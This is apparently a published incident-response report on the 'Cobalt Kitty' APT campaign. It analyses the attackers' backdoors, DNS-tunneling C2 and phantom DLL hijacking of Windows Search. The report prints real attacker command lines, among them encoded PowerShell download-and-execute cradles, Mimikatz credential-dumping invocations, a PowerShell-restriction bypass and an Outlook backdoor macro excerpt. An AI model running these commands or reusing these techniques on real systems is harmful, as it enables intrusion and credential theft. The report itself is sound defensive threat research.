```

GET /safebrowsing/rd/Clt0b12nLW1IbHehcmUtd2hUdmFzEBAY7-0KI0kUDC7h2 HTTP/1.1
Accept-Language: en-US,en;q=0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Cookie:
PREF=ID=amblbddecmdednhcncffoicjhamongbnjoigaikabeleoanpmclmcnnpgbdpphfpdlbapppebmmpgilhmodaffbgidjmb
emimdllnpffgnbpdkenpphghledfnpjadldedobflebemokkgiiladbmahcjedeaecidbhlempaecaahcgekaabcbpggdcahcckj
njodjdnohibchmmolafniapgdmdklhbcjllkcibhakmflbbbflljnoflpkle
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: support.chatconnecting.com
Connection: Keep-Alive
Cache-Control: no-cache

```

Another example is the Amazon profile, generated by another Cobalt Strike payload:

```
[Redirecting a socket destined for 27.102.70.211 to localhost.]

[Received new connection on port: 80.]
[New request on port 80.]
GET /s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books HTTP/1.1
Host: www.amazon.com
Accept: */*
Cookie: skin=noskin;session-token=Tkbs4AH+PmsJ1i0QFOEsAd70q/OcuKXXYgR5arwUTnFb
qTyIa2yj9B6eDZIbax0ABNkLripKsTJKMrwg1Yyyc3PLr88/0hAyEYwqDFCUK1H3onT9IdGDUQIYrMTR
9rUzzQQAUci5pxflctcllfSxPPtnQFkF1Nlx8UdT4XBYIP0=csm-hit=s-24KU11BB82RZSYGJ3BDK!1
419899012996
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gec
ko
Connection: Keep-Alive
Cache-Control: no-cache

[Sent http response to client.]


[DNS Query Received.]
Domain name: help.chatconnecting.com
[DNS Response sent.]
```

3.3. Variant of Denis Backdoor using DNS Tunneling

During the investigation, an analysis of the backdoor's traffic revealed that the attackers implemented [DNS tunneling](#) channel for C2 communication and data exfiltration. The DNS tunneling channel was observed being used by the PowerShell payloads as well as the fake DLLs (msfte.dll and goopdate.dll). In attempt to disguise the real IP/domain of the C&C server, the backdoor communicates with the following DNS servers instead of communicating directly with the C&C servers:


Google DNS server: 8.8.8.8

OpenDNS server: 208.67.222.222



By communicating with known DNS servers, the attackers ensured that the backdoor's traffic will not be filtered by firewalls and other security products since it's unlikely for most organizations to block OpenDNS and Google's DNS servers.


Example of DNS tunneling can be seen in this instance of ARP.exe that was spawned by searchindexer.exe, which loaded the fake msfte.dll:



Upon inspection of the DNS traffic, the real C&C domain is revealed inside the DNS queries:
Real C&C domain: z.teriava(.)com

Destination	Prot	Length	Info
8.8.8.8	DNS	322	Standard query 0x0858 NULL 8J2nKgAAAAAAAAAAAAAAAAAAAAABlz.z.teriava.com
10.0.2.15	DNS	138	Standard query response 0x0858 NULL 8J2nKgAAAAAAAAAAAAAAAAAAAAABlz.z.teriava.com NULL
8.8.8.8	DNS	322	Standard query 0x0858 NULL 8J2nKgAAAAAAAAAAAAAAAAAAAAACCI.z.teriava.com
10.0.2.15	DNS	138	Standard query response 0x0858 NULL 8J2nKgAAAAAAAAAAAAAAAAAAAAACCI.z.teriava.com NULL
8.8.8.8	DNS	322	Standard query 0x0858 NULL 8J2nKgAAAAAAAAAAAAAAAAAAAAACmQ.z.teriava.com
10.0.2.15	DNS	138	Standard query response 0x0858 NULL 8J2nKgAAAAAAAAAAAAAAAAAAAAACmQ.z.teriava.com NULL
8.8.8.8	DNS	322	Standard query 0x0858 NULL 8J2nKgAAAAAAAAAAAAAAAAAAAAADGA.z.teriava.com
10.0.2.15	DNS	138	Standard query response 0x0858 NULL 8J2nKgAAAAAAAAAAAAAAAAAAAAADGA.z.teriava.com NULL
8.8.8.8	DNS	322	Standard query 0x0858 NULL 8J2nKgAAAAAAAAAAAAAAAAAAAAAD6v.z.teriava.com
10.0.2.15	DNS	138	Standard query response 0x0858 NULL 8J2nKgAAAAAAAAAAAAAAAAAAAAAD6v.z.teriava.com NULL
8.8.8.8	DNS	322	Standard query 0x0858 NULL 8J2nKgAAAAAAAAAAAAAAAAAAAAEeY.z.teriava.com
10.0.2.15	DNS	138	Standard query response 0x0858 NULL 8J2nKgAAAAAAAAAAAAAAAAAAAAEeY.z.teriava.com NULL
8.8.8.8	DNS	322	Standard query 0x0858 NULL 8J2nKgAAAAAAAAAAAAAAAAAAAAE-X.z.teriava.com
10.0.2.15	DNS	138	Standard query response 0x0858 NULL 8J2nKgAAAAAAAAAAAAAAAAAAAAE-X.z.teriava.com NULL
8.8.8.8	DNS	322	Standard query 0x0858 NULL 8J2nKgAAAAAAAAAAAAAAAAAAAAFks.z.teriava.com
10.0.2.15	DNS	138	Standard query response 0x0858 NULL 8J2nKgAAAAAAAAAAAAAAAAAAAAFks.z.teriava.com NULL
8.8.8.8	DNS	322	Standard query 0x0858 NULL 8J2nKgAAAAAAAAAAAAAAAAAAAAGQJ.z.teriava.com
10.0.2.15	DNS	138	Standard query response 0x0858 NULL 8J2nKgAAAAAAAAAAAAAAAAAAAAGQJ.z.teriava.com NULL

3.4. Outlook Backdoor Macro as C2 channel



During the third phase of the attack, the attackers used an advanced technique that turned Microsoft Outlook into a C2 channel by replacing the email program's original VbaProject.OTM macro container with a malicious one containing a backdoor functionality. Using this backdoor, the attackers managed to send system commands via emails from a Gmail address and exfiltrate data.

The decoded malicious macro is loaded after boot and constantly looks for incoming emails containing the strings `$$cpte` and `$$ecpte`.


```
strMsgBody = testObj.Body
Dim startstr, endstr
startstr = InStr(strMsgBody, "$$cpte")
If startstr <> 0 Then
    startstr = startstr + Len("$cpte")
    endstr = InStr(startstr, strMsgBody, "$$ecpte")
    If endstr <> 0 And endstr > startstr Then
        midstr = Mid(strMsgBody, startstr, endstr - startstr)

        'testObj.Remove 1
        'Application.Session.GetItemFromID(strId).Remove
        'Dim myDeletedItem
        'Set myDeletedItem = testObj.Move(DeletedFolder)
        'myDeletedItem.Delete
        'testObj.UserProperties.Add "Deleted", olText
        'testObj.Save
        'testObj.Delete
        'Dim objDeletedItem
        'Dim oDes
        'Dim objProperty
        'Set oDes = Application.Session.GetDefaultFolder(olFolderDeletedItems)
        'For Each objItem In oDes.Items
        '    Set objProperty = objItem.UserProperties.Find("Deleted")
        '    If TypeName(objProperty) <> "Nothing" Then
        '        objItem.Delete
        '    End If
        'Next
```

The attacker's command embed their commands between those two strings.

The same technique was used to steal and exfiltrate sensitive company data, as seen in the screenshots below:

Outlook spawns two cmd.exe shells:




The command lines of the following cmd.exe instances clearly show that the attackers were gathering information and exfiltrating specific documents:

```
cmd.exe /C " ipconfig > %temp%.log.txt
```

```
cmd.exe /C " c:\Users\[redacted]\Desktop\[Redacted_File_name].xls %temp%"
```

3.5. Custom NetCat

Another C2 communication tool used by the attackers was a custom version of the famous [Netcat](#) tool (aka, tcp/ip Swiss Army knife) [from GitHub](#). Using the previously installed backdoor, the attackers uploaded and executed this customized version of NetCat on several machines:



The NetCat binary was renamed “kb-10233.exe”, masquerading as a Windows update, in order to look less suspicious. The sample’s SHA-1 hash is: c5e19c02a9a1362c67ea87c1e049ce9056425788, which is the exact match to the customized version of Netcat found on [Github](#).

In addition, examining the command line arguments reveals that the attackers also were aware of the proxy server deployed in the environment and configured the IP and port accordingly to allow them external connection to the C&C server:

Unknown Company name	Unknown Product name
C:\Users\... \AppData\Roaming\microsoft\updates\KB-10233.exe	
Command line	
9 minutes Total duration	Jan 07, at 19:47 Start time
	Jan 07, at 19:56 End time

4. Internal reconnaissance

After the attackers established a foothold on the compromised machines and established C2 communication, they scanned the network, enumerated machines and users and gathered more information about the environment.

4.1. Internal Network Scanning

During the attack, Cybereason observed network scanning against entire ranges as well as specific machines. The attackers were looking for open ports, services, OS finger-printing and common vulnerabilities:

Cybereason detected the following PowerShell instance with an Base64 encoded command:


powershell -nop -exec bypass -EncodedCommand

"SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABoAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACKALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAAnAGgAdAB0AHAAOgAvAC8AMQAYADcALgAwAC4AMAAuADEAOgAyADQANwA5ADIALwAnACkAOwAgAFMAYwBhAG4AIAAxADkAMgAuADEANgA4AC4AOAAuADAALQAYADUANAAGAC0AbwBzACAALQBzAGMAYQBuAHAAbwByAHQAIAAgACAAIAAgACAAIAAgACAAIAAgAA=="

Decoded Base64 PowerShell command:

IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:24792/'); Scan 192.168.x.x-254 -os -scanport

As the screenshot below shows, the attackers launched port scanning against common ports:



4.2. Information gathering commands


The attackers used several tools built into the Windows OS to gather information on the environment's network and its users. Those tools included netsh, ipconfig, netstat, arp, net user/group/localgroup, nslookup and Windows Management Instrumentation (WMI).

The following are a few examples of command line arguments that were used to gather information on the infected hosts and the network:

Command	Purpose
net localgroup administrators	Enumerating admin users

net group "Domain Controllers" /domain	Enumerating DC servers
klist tickets	Displaying Kerberos Tickets
dir \\[IP_redacted]\c\$	Displaying files on net share
netstat -anpo tcp	Displaying TCP connections
ipconfig /all	Displaying Network adapter information
ping [hostname_redacted] -n 1	Pinging a host
net view \\[redacted] /all	Shows all shares available, including administrative shares like C\$ and admin\$
netsh wlan show interface	Displaying Wireless adapter properties
route print	Displaying a list of persistent routes
WHOAMI	Outputs the owner of the current login session (local, admin, system)
WMIC path win32_process get Caption,Processid,Commandline findstr OUTLOOK	Searching for the process ID of OUTLOOK, in order to restart it, so it would load the malicious vbaproject.otm file

4.3. Vulnerability Scanning using PowerSploit



Once the Cobalt Strike Beacon was installed, the attackers attempted to find privilege escalation vulnerabilities that they could exploit on the compromised hosts. The following example shows a command that was run by a spawned PowerShell process:

```
powershell -nop -exec bypass -EncodedCommand
"SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBjAGMAbABpAGUAb
gB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AM
QAYADcALgAwAC4AMAAuADEAOgAyADUAMwA4AC8AJwApADsAIABJAG4AdgBvAGsAZQAtAEEAbA
```

BsAEMAaABIAGMAawBzAA=="

The encoded command decodes to -
IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:2538/'); **Invoke-AllChecks**

The Invoke-AllChecks command is indicative to the [PowerUp](#) privilege escalation “scanner”, which is part of the [PowerSploit project](#).

5. Lateral movement

The attackers compromised more than 35 machines, including the Active Directory server, by using common lateral movement techniques including pass-the-hash and pass-the-ticket and Windows applications such as net.exe and WMI.

5.1. Obtaining credentials

Before the attackers could spread to new machines, they had to obtain the necessary credentials, such as passwords, NTLM hashes and Kerberos tickets. To obtain these credentials, the attackers used various, known tools to dump locally stored credentials.


The attackers mainly used [Mimikatz](#), which was customized in a way that ensured antivirus products wouldn't detect it.

Other tools used to obtain credentials included:

- **Modified Window's Vault Password Dumper** - A PowerShell version of a [known password dumping tool](#), which was modified in order to accommodate additional functionality and to evade antivirus.
- **Hook Password Change** - Modified version of the a tool found [on Github](#). This tool alerts the attackers if passwords are changed by hooking specific functions in the Windows OS. This provided the attackers a workaround to the frequent password resets ordered by the IT department during the attack.

5.1.1. Mimikatz

The main tool used to obtain credentials from the compromised machines was a obfuscated and sometimes slightly modified versions of [Mimikatz](#), a known password dumping tool, whose source code is freely available on [GitHub](#). The attackers used at least 14 different versions of Mimikatz using different techniques to evade antivirus detection:



The following screenshot shows examples of the command line arguments [indicative of Mimikatz](#) that were used in the attack:

2	<code>dllhosts.exe "kerberos::ptt c:\programdata\log.dat" kerberos::tgt exit</code>
2	<code>dllhosts.exe privilege::debug sekurlsa::logonpasswords exit</code>
2	<code>dllhost.exe log privilege::debug sekurlsa::logonpasswords exit</code>
2	<code>dllhosts.exe privilege::debug token::elevate lsadump::sam exit</code>
2	<code>c:\programdata\dllhosts.exe privilege::debug sekurlsa::logonpasswords exit</code>
2	<code>c:\programdata\dllhost.exe log privilege::debug sekurlsa::logonpasswords exit</code>

5.1.2. Gaining Outlook credentials


In addition to Windows account credentials, the attackers also targeted the Outlook credentials of selected high-profile employees. The attackers modified a [known password dumper](#) in order to make it more Outlook-oriented. The binary version of this tool is detected by most antivirus vendors so the attackers ported it to PowerShell, making it stealthier. However, in order to use the PowerShell version, the attackers had to overcome measures that were put in place to restrict PowerShell execution.

The attackers used a modified version of a publicly available tool called [PSUnlock](#) to bypass the PowerShell execution restrictions. Here's an example of this tool being used:

```
rundll32 C:\ProgramData\PSdll35.dll,main -f C:\ProgramData\doutlook.ps1
```

The purpose of the **doutlook.ps1** (SHA-1: ebdd6059da1abd97e03d37ba001bad4aa6bcbabd)

script becomes very clear when observing the memory strings of the Rundll32.exe process:



Address	Length	Result
0x859760c	42	***From 2002 - 2010 Outlook Password***
0x8597638	37	***Latest 2013 Outlook Password***
0x8597660	45	***Windows credentials contain %d items***
0x8597690	34	Network name: %s
0x85976c4	26	Username: %s
0x85976e0	34	CRED_TYPE_GENERIC
0x8597704	56	CRED_TYPE_DOMAIN_CERTIFICATE
0x8597740	50	CRED_TYPE_DOMAIN_PASSWORD
0x8597774	36	Password type: %s
0x859779c	26	Password: %s
0x85977b8	64	Last written: %d:%d:%d %d/%d/%d
0x8597804	46	Decrypted Password: %s
0x8597834	44	Crypt description: %s
0x859786c	24	vaultcli.dll
0x8597888	33	Cannot load vaultcli.dll library
0x85978ac	14	VaultOpenVault
0x85978d4	14	VaultOpenVault

5.2. Pass-the-hash and pass-the-ticket

Cybereason detected multiple lateral movement techniques that were used during the attack. The attackers successfully carried out [pass-the-hash](#) and [pass-the-ticket](#) attacks using stolen NTLM hashes and Kerberos tickets from compromised machines.

The attackers managed to compromise a domain admin account. Using the compromised administrative account, the attackers moved laterally, deployed their tools and mass-infected other machines. More instances of lateral movements were observed using other compromised accounts during the different stages of the attack.

Example 1: Deploying Mimikatz on remote machines

The attackers deployed a customized Mimikatz using stolen credentials from an administrative account, which they used to carry out a pass-the-hash attack:



Suspicious

Process run in context of a Pass the Hash attack

Example 2: Gaining remote access using pass-the-ticket attack



Suspicious

Session with credentials mismatch

||

Evidences

Pass The Ticket Remote Session

5.3. Propagation via Windows Admin Shares

Another lateral movement technique that was used extensively in the attack involved using the [Windows Admin Shares](#) via the built-in Windows "net.exe" tool. This technique uses Windows' hidden network shares, which administrators can only access and use to copy their tools to remote machines and execute them.

The screenshot below show an example of this technique being used in the attack:

Owner machine	Creation time	Command line
 [redacted]	Jan 13, at 16:32 - J...	net use \\[redacted] \logon\$ /user: [redacted]

5.4. Windows Management Instrumentation (WMI)

The attackers used a [well-documented lateral movement technique](#) that abuses [Windows Management Instrumentation](#) (WMI) and “Net User” commands to deploy their tools on remote machines.

Example: Infecting other machines with Denis backdoor

Using WMI and the stolen credentials, the attackers copied the backdoor DLL (**msfte.dll**) to the target machine:



To ensure that the fake msfte.dll will be loaded by SearchIndexer.exe / SearchProtocolHost.exe processes, the attackers had to restart the Wsearch service.

Stopping the Wsearch service



Starting the Wsearch service

• Properties

wmic.exe	5664
Process name	Process ID
Mar 16, at 22:30	wmic /node: process call
End time	Command line

Once the service is started again, the malicious msfte.dll will be loaded by the searchindexer.exe application:

• Execution

 searchindexer.exe  
Parent process

 33 loaded modules

Search 	
msfte.dll	
shcore.dll	
kernel.appcore.dll	
oleaut32.dll	
kernel32.dll	
clbcatq.dll	



Operation Cobalt Kitty

Attackers' Arsenal

By: Assaf Dahan




Table of Contents

[Introduction](#)

[Meet Denis the Menace: The APT's main backdoor](#)

[Description](#)

[3-in-1: Phantom DLL hijacking targeting Microsoft's Wsearch](#)

[Functionality](#)

[Static analysis](#)

[Dynamic analysis](#)

[Variation in process injection routines](#)

[The backdoor code](#)

[C2 communication](#)

[Second backdoor: "Goopy"](#)

[Analysis of Goopy](#)

[DLL side loading against legitimate applications](#)

[Outlook backdoor macro](#)

[Cobalt Strike](#)

[COM Scriptlets \(.sct payloads\)](#)

[Obfuscation and evasion](#)

[Don't-Kill-My-Cat](#)

[Invoke-obfuscation \(PowerShell Obfuscator\)](#)

[PowerShell bypass tool \(PSUnlock\)](#)

[Credential dumpers](#)

[Mimikatz](#)

[GetPassword x64](#)

[Custom "HookPasswordChange"](#)

[Custom Outlook credential dumper](#)

[Custom Windows credential dumper](#)

[Modified NetCat](#)

[Custom IP check tool](#)

Introduction

During the investigation, Cybereason recovered over 80 payloads that were used during the four stages of the attack. Such a large number of payloads is quite unusual and further demonstrates the attackers' motivation to stay under the radar and avoid using the same payloads on compromised machines. At the time of the attack, **only two payloads had file hashes known to threat intelligence engines**, such as VirusTotal.


This arsenal is consistent with [previous documentations](#) of the [OceanLotus Group](#). **But it also includes new custom tools that were not publicly documented** in APTs carried out either by the OceanLotus Group or by threat actors.

The payloads can be broken down into three groups:

Payload type	Total number	Main payloads	Previously reported being used by OceanLotus?
Binary files (.exe and .dll files) **found on compromised machines	46	• Variant of the Denis Backdoor (msfte.dll) • Goopy Backdoor (goopdate.dll) • Cobalt Strike's Beacon • Mimikatz • GetPassword_x64 • PSUnlock • NetCat • HookPasswordChange • Custom Windows Credential Dumper • Custom IP tool	No** No** Yes Yes No No No No No No
Scripts (PowerShell + VBS) **found on compromised machines	24	• Backdoor - PowerShell version • Outlook Backdoor (Macro) • Cobalt Strike Downloaders / Loaders / Stagers • Cobalt Strike Beacon • Custom Windows Credential Dumper • Custom Outlook Credential Dumper • Mimikatz • Invoke-Obfuscation (PowerShell Obfuscator) • Don't-Kill-My-Cat (Evasion/Obfuscation Too)	No** No** Yes Yes No No Yes Yes Yes
C&C Payloads	18	• Cobalt Strike Downloaders / Stagers • Cobalt Strike Beacon • COM scriptlets (downloaders)	Yes Yes Yes

**** OceanLotus is [said to use tools with similar capabilities](#), however, no public documentation is available to determine whether the tools are the same.**

Meet Denis the Menace: The APT’s main backdoor



Description

The main backdoor was introduced by the attackers during the second stage of the attack, after their PowerShell infrastructure was detected and shut down. **Cybereason spotted the main backdoor in in December 2016:**

c:\windows\system32\msfte.dll	Dec 02, at 18:31
Path	Creation time
ccb4a2a84c6791979578c4439d73f89f	2f8e5f81a8ca94ec36380272e36a22e326aa40a4
MD5 signature	SHA1 Signature

This backdoor was dubbed “[Backdoor.Win32.Denis](#)” by Kaspersky, which published their analysis of it in March 2017. However, quite possibly, there is evidence of this backdoor being used “in-the-wild” [back in August 2016](#). At the time of the attack, the backdoor was not previously known or publicly analyzed in the security community. The backdoor used in the attack is quite different from the samples analyzed by Kaspersky and other samples caught “in-the-wild”:

	Cobalt Kitty “Denis” Variants	Backdoor.Win32.Denis
File Type	.dll + .ps1	.exe

Vessel	Legitimate applications vulnerable to DLL hijacking / PowerShell	Standalone executables
Loader and Process Injection	Loader decrypts the backdoor payload and injects to host processes: <i>rundll32.exe / svchost.exe / arp.exe / PowerShell.exe</i>	No injection to host processes documented
Anti analysis tricks	More sophisticated anti-debugging anti-emulation tricks were put to hinder analysis	Anti-analysis tricks exist, however, fewer and simpler

In terms of the backdoor's features, it has similarities to the backdoor (SOUNDBITE), described in [FireEye's report](#) about APT32 (OceanLotus). However, FireEye's analysis of this backdoor is **not publicly available**. Therefore, Cybereason cannot fully determine whether SOUNDBITE and Denis are the same backdoor, even though the likelihood seems rather high.

The backdoor's main purpose was to provide the attackers with a "safe" and stealthy channel to carry out post-exploitation operations, such as **information gathering, reconnaissance, lateral movement and data collection** (stealing proprietary information). The backdoor uses **DNS Tunneling** as the main C2 channel between the attackers and the compromised hosts. The backdoor was mainly exploiting a rare "**phantom DLL hijacking**" against legitimate **Windows Search** applications. The attacker also used a PowerShell version of the backdoor on a few machines. However, the majority came in a DLL format.

Most importantly, the analysis of the backdoor binaries strongly suggests that the binaries used in the attack **were custom made** and differ from other binaries caught in the wild. The binaries were generated using a highly-sophisticated PE modification engine, which shows the threat actor's high level of sophistication.

Four variants of the main backdoor were found in the environment:

File name	Variation type	SHA-1 hash
msfte.dll	Injected host process: svchost.exe	638B7B0536217C8923E856F4138D9CA FF7EB309D
msfte.dll	Injected host process: rundll32.exe	BE6342FC2F33D8380E0EE5531592E9F 676BB1F94
msfte.dll	Injects host process: arp.exe	43B85C5387Aafb91AEa599782622EB9 D0B5B151F
PowerShell #1: Sunjavascheduler.ps1 SndVolSSO.ps1 PowerShell #2: SCVHost.ps1	Injected host process: PowerShell.exe (via reflective DLL injection)	91E9465532EF967C93B1EF04B7A906A A533A370E 0d3a33cb848499a9404d099f8238a6a0e0

		a4b471
--	--	--------

3-in-1: Phantom DLL hijacking targeting Microsoft's Wsearch

The “msfte.dll” payloads exploits a rather rare “[phantom DLL hijacking](#)” vulnerability against components of Microsoft's Windows Search to gain **stealth, persistence and privilege escalation** all at once. There are only a few documented cases where it was [used in an APT](#). This vulnerability is found in all supported Windows versions (tested against Windows 7 to 10) against the following applications:

SearchIndexer.exe (C:\Windows\System32\)

SearchProtocolHost.exe (C:\Windows\System32\)

These applications play a crucial role in Windows' native search mechanism, and are launched **automatically by the Wsearch service**, meaning that they also **run as SYSTEM**. From an attacker perspective, exploiting these applications is very cost effective since it allows them to achieve two goals simultaneously: persistence and privilege escalation to SYSTEM.

The core reason for this lies in the fact that these applications attempt to load a DLL called “msfte.dll.” **This DLL does not exist by default on Windows OS**, hence, the name “**phantom DLL**”. Attackers who gain administrative privileges can place a fake malicious “**msfte.dll**” under “C:\Windows\System32\”, thus ensuring that the DLL will be loaded automatically by **SearchIndexer.exe** and **SearchProtocolHost.exe** without properly validating the integrity of the loaded module:

```

mov     eax, [ebp-10h]
dec     eax
push    eax                ; nSize
push    dword ptr [ebp-18h] ; lpFilename
push    edi                ; hModule
call    ds:GetModuleFileNameW
push    eax
lea     ecx, [ebp-18h]
call    sub_100E89D
push    5Ch
lea     ecx, [ebp-18h]
call    sub_100D089
lea     ebx, [eax+1]
push    ebx
lea     ecx, [ebp-18h]
call    sub_100E89D
push    offset aMsfte_dll ; "msfte.dll"
push    9                  ; int
lea     ecx, [ebp-18h]
call    sub_100D135
push    dword ptr [ebp-18h] ; lpLibFileName
mov     esi, ds:LoadLibraryW
call    esi ; LoadLibraryW
mov     ecx, [ebp+8]


```

*** Following responsible disclosure, this vulnerability was reported to Microsoft on April 1, 2017.

Functionality


The fake msfte.dll is not the core backdoor payload. It serves as a loader whose purpose is to load the malicious code in a stealthy manner that will also ensure persistence. The actual payload is decoded in memory and **injected to other Windows host processes, such as: svchost.exe, rundll32.exe and arp.exe**. Once the core payload is injected, the backdoor will commence C2 communication using DNS tunneling. The backdoor will send details about the infected host, network and the users to the C&C server, and will wait for further instructions from its operators. The main backdoor actions, as observed by Cybereason, consisted of:

- **Deploying additional backdoors** (goopdate.dll + Outlook backdoor)
- **Reconnaissance and lateral movement commands** (via cmd.exe)
- **Deploying other hacking tools** (Mimikatz, NetCat, PowerShell bypass tool, etc.)



The backdoor gives its operator the ability to perform different tasks on the infected machines, depending on the commands (flags) received from C&C:

- Create/delete/move files and directories
- Execute shell commands used for reconnaissance and information gathering
- Enumerate users, drivers and computer name
- Query and set registry keys and values



Static analysis


The msfte.dll loader payloads were all compiled during the time of the attack, showing that the attackers were preparing new samples on the fly. All observed loader payloads are 64-bit payloads. However, the actual backdoor payload is always 32-bit (using WOW64). This is a rather peculiar feature of this backdoor. The core backdoor payload was compiled using Microsoft Visual Studio (C++), however, the loader does not carry any known compiler signatures.

Another sign that the loader's code was custom-built can be found when examining instructions in the code that are clearly not compiler-generated. Instructions like *CPUID*, *XMM instructions/registers*, *xgetbv*, as well as others, were placed within the binaries for the obvious reason of anti-emulation. In addition, the loader's code also contain many "common" anti-debugging tricks, using APIs such as: *IsDebuggerPresent()*, *OutputDebugString()*, *SetLastError()* and more.

The file structure does not contain any unusual sections:

#	Name	Virtual Size	Virtual Address	Physical Size
1	.text	0xE45E	0x1000	0xE600
2	.rdata	0xB7E4	0x10000	0xB800
3	.data	0x3E78	0x1C000	0x1A00
4	.pdata	0xD50	0x20000	0xE00
5	.rsrc	0x3BAC4	0x21000	0x3BC00
6	.reloc	0x7FC	0x5D000	0x800

However, the resources section does contains a base64-encoded payload:



When decoding the base64 resource, there's a large chunk of shellcode that is followed by a corrupted PE file, whose internal name is "**CiscoEapFast.exe**":

0A 0B 0C 0D 0E 0F 10 11 12	0123456789ABCDEF012
85 D4 FE FF FF 89 85 60 FE	hpyy%E e4<..Opyy%..`p
58 FE FF FF 6A 00 6A 01 8B	yy< `pyy% Xpyy.j.<
B6 C0 89 45 80 6A FF FF 95	UeRy Xpyy.%AE jyy
E9 00 10 30 00 89 4D 80 8B	.yyye.<M' e..0.%M <
C3 5F 5E 8B E5 5D C2 04 00	E e.e....XÅ ^<âjÅ..
00 00 FF FF 00 00 B8 00 00	gEyy.....
00 00 00 00 00 00 00 00 00	@.....
00 00 00 00 00 00 00 00 00	
0E 00 B4 09 CD 21 B8 01 4C	...δ.....°...'.Í!..L
67 72 61 6D 20 63 61 6E 6E	Í!This program cann
69 6E 20 44 4F 53 20 6D 6F	ot be run in DOS mo
00 00 00 00 1A BB 9F D2 5E	de....\$......»YÔ^
81 45 47 5B 81 31 DA F1 81	Úñ ^Úñ ^Úñ EG[1Úñ
62 81 5D DA F1 81 5E DA F0	EGo MÚñ Wøb jÚñ ^Úñ
DA F1 81 45 47 5E 81 5F DA	.Úñ EGZ rÚñ EG^ Ú
45 47 6C 81 5F DA F1 81 52	ñ EGk Úñ EGl Úñ R

It's interesting to mention that several samples of the Denis Backdoor that were **caught in the wild (not as part of this attack)**, were also named **CiscoEapFast.exe**. Please see the [Attackers' Profile and Indicators of Compromise](#) section for more information.

This embedded executable is the actual payload that is injected to the Windows host processes, once the fake DLL is loaded and executed.

The loader's export table lists over 300 exported functions. This is highly unusual for malware, and is one of the most intriguing features:

Export Name	Ordinal	Virtual Address
CMC_StartAlert	1	0x1060
CMC_StopAlert	2	0x1060
CreateSetupProductInfo	3	0x1060
CreateSetupProductInfo2	4	0x1060
CreateSetupProductInfo3	5	0x1060
DllCanUnloadNow	6	0x1060
DllEntry	7	0x1060
DllGetClassObject	8	0x1060

If we take a look at the address that this RVA translates to in a live instance of msfte.dll (Image base + 0x1060) here is what we see:

007FFE4B0A105E	CC	int3
007FFE4B0A105F	CC	int3
007FFE4B0A1060	48 83 EC 28	sub rsp,28
007FFE4B0A1064	33 C9	xor ecx,ecx
007FFE4B0A1066	FF 15 A4 EF 00 00	call qword ptr ds:[<ExitProcess>]
007FFF4B0A106C	CC	int3

In other words, the author simply created a small do-nothing function (that just exits the current process) for all of the exports to resolve to. Exports like this would have been generated at compile-time, or implanted here using a highly sophisticated PE modification engine. This indicates that this entire attack was planned in advance and that this binary was **custom-built to hijack specific applications**. Indications of such pre-meditated design were found during the attack, when more backdoor variants were discovered exploiting DLL-hijacking against legitimate Kaspersky and Google applications.

Take the ability to exploit Kaspersky's AVPIA application. Examination of the exported functions clearly show that the attackers generated the same exports (e.g "CreateSetupProductInfo") that are found in a legitimate Kaspersky's product_info.dll:

Exports of a legitimate product_info.dll	Exports of msfte.dll backdoor
File name: product_info.dll SHA-1: 6a8c955e5e17ac1adfecedabbf8dcf0861a74f7	File name: msfte.dll SHA-1: C6a8c955e5e17ac1adfecedabbf8dcf0861a74f7

PE exports	
CreateSetupProductInfo	
CreateSetupProductInfo2	
CreateSetupProductInfo3	
GetProductEnvironmentValue	
GetProductVersionInfo	
ekaCanUnloadModule	
ekaGetObjectFactory	
Copyright	© 2016 AO Kaspersky Lab. All Rights Reserved.
Product	Kaspersky Anti-Virus
Original name	product_info.dll
Internal name	product_info
File version	17.0.0.611
Description	Kaspersky Product Info library
Signature verification	Signed file, verified signature
Signing date	11:54 PM 6/27/2016

	CMC_StartAlert
	CMC_StopAlert
	CreateSetupProductInfo
	CreateSetupProductInfo2
	CreateSetupProductInfo3
	DllCanUnloadNow
	DllEntry
	DllGetClassObject

Dynamic analysis

When the fake msfte.dll is loaded to searchindexer.exe or searchprotocolhost.exe, one of the first steps it takes is to dynamically resolve critical APIs, using the good ol' **GetProcAddress()** and **LoadLibrary()** combination:

000007FEF8E01415	CALL <msfte.sub_7FEF8E02298>	
000007FEF8E0141A	MOV R15, RAX	
000007FEF8E0141D	LEA RCX, QWORD PTR DS:[7FEF8E1A3A0]	rcx: "Kernel32.dll", 7FEF8E1A3A0: "Kernel32.dll"
000007FEF8E01424	CALL QWORD PTR DS:[<&LoadLibraryA>]	
000007FEF8E0142A	MOV R12, RAX	
000007FEF8E0142D	LEA RDX, QWORD PTR DS:[7FEF8E1A3B0]	7FEF8E1A3B0: "CreateProcessA"
000007FEF8E01434	MOV RCX, RAX	rcx: "Kernel32.dll"
000007FEF8E01437	CALL QWORD PTR DS:[<&GetProcAddress>]	
000007FEF8E0143D	MOV QWORD PTR DS:[7FEF8E21DD0], RAX	
000007FEF8E01444	LEA RDX, QWORD PTR DS:[7FEF8E1A3C0]	7FEF8E1A3C0: "TerminateProcess"
000007FEF8E0144B	MOV RCX, R12	rcx: "Kernel32.dll"
000007FEF8E0144E	CALL QWORD PTR DS:[<&GetProcAddress>]	
000007FEF8E01454	MOV QWORD PTR DS:[7FEF8E21DB8], RAX	
000007FEF8E0145B	LEA RDX, QWORD PTR DS:[7FEF8E1A3D8]	7FEF8E1A3D8: "VirtualAllocEx"
000007FEF8E01462	MOV RCX, R12	rcx: "Kernel32.dll"
000007FEF8E01465	CALL QWORD PTR DS:[<&GetProcAddress>]	
000007FEF8E0146B	MOV QWORD PTR DS:[7FEF8E21DC8], RAX	
